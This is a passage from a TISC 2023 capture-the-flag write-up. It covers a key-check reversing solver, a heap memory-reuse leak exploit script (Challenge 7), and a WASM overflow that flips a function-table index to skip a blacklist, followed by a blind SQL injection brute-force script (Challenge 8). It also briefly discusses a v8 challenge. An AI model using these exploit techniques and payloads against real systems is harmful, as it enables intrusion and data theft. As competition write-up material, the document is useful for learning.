  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(27, (unsigned int)&keyMix, v65, v66, v67, v68, v130.ptr, v130.ref, v131, v132) != 28 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(25, (unsigned int)&keyMix, v69, v70, v71, v72, v130.ptr, v130.ref, v131, v132) != 20 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(1, (unsigned int)&keyMix, v73, v74, v75, v76, v130.ptr, v130.ref, v131, v132) != 1 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(22, (unsigned int)&keyMix, v77, v78, v79, v80, v130.ptr, v130.ref, v131, v132) != 59 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(17, (unsigned int)&keyMix, v81, v82, v83, v84, v130.ptr, v130.ref, v131, v132) != 104 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(8, (unsigned int)&keyMix, v85, v86, v87, v88, v130.ptr, v130.ref, v131, v132) != 117 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(23, (unsigned int)&keyMix, v89, v90, v91, v92, v130.ptr, v130.ref, v131, v132) != 126 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(16, (unsigned int)&keyMix, v93, v94, v95, v96, v130.ptr, v130.ref, v131, v132) != 37 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(3, (unsigned int)&keyMix, v97, v98, v99, v100, v130.ptr, v130.ref, v131, v132) != 45 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(4, (unsigned int)&keyMix, v101, v102, v103, v104, v130.ptr, v130.ref, v131, v132) != 94 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(26, (unsigned int)&keyMix, v105, v106, v107, v108, v130.ptr, v130.ref, v131, v132) != 120 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(28, (unsigned int)&keyMix, v109, v110, v111, v112, v130.ptr, v130.ref, v131, v132) != 87 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(15, (unsigned int)&keyMix, v113, v114, v115, v116, v130.ptr, v130.ref, v131, v132) != 110 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(7, (unsigned int)&keyMix, v117, v118, v119, v120, v130.ptr, v130.ref, v131, v132) != 46 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(5, (unsigned int)&keyMix, v121, v122, v123, v124, v130.ptr, v130.ref, v131, v132) != 96 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  if ( *(_BYTE *)array_get(9, (unsigned int)&keyMix, v125, v126, v127, v128, v130.ptr, v130.ref, v131, v132) != 40 )
    return (void *)0xFFFFFFFFLL;
  dest = &v130;
  memmove(&v130, &keyMix, 0x20uLL);
  return (void *)(unsigned int)main__decrypt(v130);
}

Using these as constraints, we can get an array that should be set. However we need to make sure to shuffle it according to their algorithm.

arr = [0]*32
arr[31] = 118
arr[19] = 0
arr[21] = 87
arr[13] = 19
arr[30] = 110
arr[14] = 84
arr[20] = 63
arr[24] = 91
arr[12] = 43
arr[29] = 22
arr[11] = 104
arr[10] = 17
arr[2] = 100
arr[6] = 23
arr[0] = 106
arr[18] = 40
arr[27] = 28
arr[25] = 20
arr[1] = 1
arr[22] = 59
arr[17] = 104
arr[8] = 117
arr[23] = 126
arr[16] = 37
arr[3] = 45
arr[4] = 94
arr[26] = 120
arr[28] = 87
arr[15] = 110
arr[7] = 46
arr[5] = 96
arr[9] = 40
 
 
orig = [0]*32
for i in range(32):
    l = 32-i-1
    if l != 0:
        orig[l] = (arr[l] ^ arr[l-1] ^ (l+1)) - 5
    else:
        orig[0] = (arr[0] ^ 1) - 5
print(orig)
print(''.join(chr(c) for c in orig))
 
pvb_COPY = orig
for k in range(32):
    pvb_COPY[k] += 5
    pvb_COPY[k] ^= k+1
    if k > 0:
        pvb_COPY[k] ^= pvb_COPY[k-1]
print(pvb_COPY)
print(arr)
 
 
arr = [102, 100, 97, 72, 113, 51, 107, 44, 77, 82, 45, 112, 73, 49, 67, 37, 85, 90, 78, 55, 37, 121, 118, 88, 55, 80, 114, 115, 81, 90, 98, 51]
arr = ''.join(chr(c) for c in arr)
 
from requests import *
 
host = "http://chals.tisc23.ctf.sg:48471"
 
s = Session()
s.cookies['id'] = args.R
 
link = f"{host}/{arr}"
r = s.post(link)
print(r)
print(r.text)
 
stream = s.get(f"{host}/get_4d_number", stream=True)
 
for l in stream.iter_lines():
    if l:
        print(l)

Challenge 7

This challenge was annoying due to how large the methods were.

A breif summary is: Fill up the memory except one, so that the next allocation will be same memory as the the name and motto allocation. This can be used to leak out memory addresses.

The solve script is provided as below:

for i in range(0x250-2):
    print(i)
    add_newspaper(b"A")
print('adding...')
add_cd_dvd()
 
change_name_motto(b"", b"")
p.recvuntil("[Name]: ")
name = p.recvline()
p.recvuntil("[Motto]: ")
motto = p.recvline()
 
print(hexdump(name))
print(hexdump(motto))
file = u64(bytes(name[1:7][::-1]).ljust(8, b'\0')) - 0x61f8
success(f"{hex(file) = }")
 
for i in range(5):
    rmv_newspaper(1)
 
if p64(file)[5] != 0x55 and p64(file)[5] != 0x56 and p64(file)[5] != 0x57:
    print("nope")
    print(p64(file)[5])
    error(f"{hex(file) = }")
    exit(1)
 
shuff = p64(file + 0x8054)[::-1]
for i in range(15):
    change_name_motto(shuff*2, shuff*4)
 
pause()
add_bookshelf(b"BOOK")
p.sendlineafter(":", "2")
p.sendlineafter(":", "2")
p.sendlineafter(":", str(0))
p.sendlineafter(":", "5")
 
p.interactive()
 

Challenge 8

We are given server.js file. There is a obvious vulnerability to leak arbitrary files; we use this to leak the AWS config file.

const express = require('express');
const app = express();
const port = 3000;
 
const db = require('./db');
 
const AWS = require('aws-sdk');
process.env.AWS_SDK_LOAD_CONFIG = 1;
 
AWS.config.getCredentials((err) => {
    if (err) console.log(err.stack);
    // TODO: Add more comments here
    else {
        console.log("Access key:", AWS.config.credentials.accessKeyId);
        console.log("Region:", AWS.config.region);
    }
});
 
const lambda = new AWS.Lambda();
 
const session = require('express-session');
const flash = require('connect-flash');
const bodyParser = require('body-parser');
 
app.use(session({
    secret: 'mysecret',
    resave: true,
    saveUninitialized: true
}));
 
app.use(flash());
 
var pug = require('pug')
app.set('view engine', 'pug');
 
var toolsObj = {};
 
toolsObj.saveFlash = function(req, res) {
    res.locals.errors = req.flash("error");
    res.locals.successes = req.flash("success");
};
 
module.exports = toolsObj;
 
app.use(bodyParser.urlencoded({
    extended: true
}));
 
app.get('/', (req, res) => {
    res.send(pug.renderFile('login.pug', {
        messages: req.flash()
    }));
});
 
app.get('/reminder', (req, res) => {
    const username = req.query.username;
    res.send(pug.renderFile('reminder.pug', { username }));
});
 
app.get('/remind', (req, res) => {
    const username = req.query.username;
    const reminder = req.query.reminder;
    res.send(pug.renderFile('remind.pug', { username, reminder }));
});
 
app.post('/api/submit-reminder', (req, res) => {
    const username = req.body.username;
    const reminder = req.body.reminder;
    const viewType = req.body.viewType;
    res.send(pug.renderFile(viewType, { username, reminder })); // BUG: SSTI?
});
 
app.post('/api/login', (req, res) => {
    // pk> Note: added URL decoding so people can use a wider range of characters for their username :)
    // dr> Are you crazy? This is dangerous. I've added a blacklist to the lambda function to prevent any possible attacks.
 
    const username = req.body.username;
    const password = req.body.password;
    if (!username || !password) {
        req.flash('error', "No username/password received");
        req.session.save(() => {
            res.redirect('/');
        });
    }
 
    const payload = JSON.stringify({
        username,
        password
    });
 
    try {
        lambda.invoke({
            FunctionName: 'craft_query',
            Payload: payload
        }, (err, data) => {
            if (err) {
                req.flash('error', 'Uh oh. Something went wrong.');
                req.session.save(() => {
                    res.redirect('/');
                });
            } else {
                const responsePayload = JSON.parse(data.Payload);
                const result = responsePayload;
 
                if (result !== "Blacklisted!") {
                    const sql = result;
                    db.query(sql, (err, results) => {
                        if (err) {
                            req.flash('error', 'Uh oh. Something went wrong.');
                            req.session.save(() => {
                                res.redirect('/');
                            });
                        } else if (results.length !== 0) {
                            res.redirect(`/reminder?username=${username}`);
                        } else {
                            req.flash('error', 'Invalid username/password');
                            req.session.save(() => {
                                res.redirect('/');
                            });
                        }
                    });
                } else {
                    req.flash('error', 'Blacklisted');
                    req.session.save(() => {
                        res.redirect('/');
                    });
                }
            }
        });
 
    } catch (error) {
        console.log(error)
        req.flash('error', 'Uh oh. Something went wrong.');
        req.session.save(() => {
            res.redirect('/');
        });
    }
});
 
app.listen(port, () => {
    console.log(`Server listening at http://localhost:${port}`);
});
 

The rendering only captures so much, but it’s enough:

Once we have that we can try to do typical AWS enumeration

We know that we are looking for AWS lambda function, so we can try to download the source code:

The function is mostly a wrap around a WASM file. This can be decompiled with Ghidra:

 
undefined4 export::craft_query(undefined4 username,undefined4 password)
 
{
  undefined4 uVar1;
  undefined local_90 [59];
  undefined local_55;
  undefined local_50 [68];
  uint local_c;
  undefined4 local_8;
  undefined4 local_4;
  
  local_c = 1;
  local_8 = password;
  local_4 = username;
  weird_urldecode(local_50,username);
  copy(local_90,local_8,0x3b);
  local_55 = 0;
  uVar1 = (**(code **)((ulonglong)local_c * 4))(local_50,local_90);
  return uVar1;
}
 
char * export::load_query(undefined4 param1,undefined4 param2)
 
{
  unnamed_function_5(param1,param2,s_0123456789ABCDEF_ram_00010250 + 0x10,300);
  return s_0123456789ABCDEF_ram_00010250 + 0x10;
}
 
 
void unnamed_function_5(undefined4 param1,undefined4 param2,undefined4 param3,undefined4 param4)
 
{
  undefined4 local_20;
  undefined4 local_1c;
  undefined4 local_10;
  undefined4 local_c;
  undefined4 local_8;
  undefined4 local_4;
  
  local_20 = param1;
  local_1c = param2;
  local_10 = param4;
  local_c = param3;
  local_8 = param2;
  local_4 = param1;
  // snprintf
  unnamed_function_11(param3,param4,s_SELECT_*_from_Users_WHERE_userna_ram_00010036,&local_20);
  return;
}
 
void weird_urldecode(char *dest,char *src)
 
{
  int d1;
  int d2;
  char *srcptr;
  char *dstptr;
  
  srcptr = src;
  dstptr = dest;
  while (*srcptr != '\0') {
    if (*srcptr == '%') {
      d1 = ctodigit((int)srcptr[1]);
      d2 = ctodigit((int)srcptr[2]);
      if ((d1 == -1) || (d2 == -1)) {
        *dstptr = *srcptr;
        srcptr = srcptr + 1;
        dstptr = dstptr + 1;
      }
      else {
        srcptr = srcptr + 3;
        write_byte(dstptr,d1 * 0x10 + d2);
        d1 = weird_strlen(dstptr);
        dstptr = dstptr + d1;
      }
    }
    else {
      *dstptr = *srcptr;
      srcptr = srcptr + 1;
      dstptr = dstptr + 1;
    }
  }
  *dstptr = '\0';
  return;
}

For whatever reason, craft_query does a indirect call. Note that the weird_urldecode does an unbounded copy, so we can overflow all the way to overwrite the local_4 variable. The indirect call uses the variable as an index into the global function table. If we change the index from 1 to 2, we call load_query instead of is_blacklisted, bypassing the blacklist entirely.

So now we can execute an arbitrary query, but the result is not shown to us; only a failure/success message, so its a typical Blind SQLi challenge.

from requests import *
import string
import subprocess
import time
 
def act(pre):
    query = f"\" UNION SELECT * from Users WHERE password like '{pre}' # "
    adj = query.count('%')
    
    username, password = query.ljust(0x50-0xc + adj*2, 'A') + "%02%00%00", "A"
    print(username, password)
    print(len(username))
    print(len(password))
    if len(password) > 0x3b:
        raise "too long!"
 
    out = subprocess.check_output(["node", "./lambda/wrap.js", username, password])
    print(out)
    return b"SELECT" not in out
 
def test(pre):
    for i in range(1):
        if act(pre):
            return True
    return False
 
chars = "TISC{"
 
print(test("T%25"))
#exit(0)
 
while True:
    add = False
    for c in string.printable:
        time.sleep(0)
        if c == '%' or c == '_' or c == '\n' or c == '\t':
            continue
        if test("%25" + chars[-6:] + c + "%25"):
            chars += c
            add=True
            break
    print(chars)
    if not add:
        exit(0)

I managed to crash the server ~10 times while doing this. Thanks to the CTF challenge organizers for fixing it up everytime.

Challenge 9

We are given the typical Chrome v8 pwn setup, including the patch.diff. The patch only adds one function which leaks the TheHole value to the interpreter side.

This challenge initially had a very easy exploit: load('flag'). It was patched afterwards, but I paused solving it for a while so that they could get it up. Sadly, I didn’t have time to pursue this challenge afterwards due to my gazillion interviews.

Conclusion

I had fun with this iteration of TISC and the challenges were definitely more skilled than the previous iteration. Hope the next iteration is as good.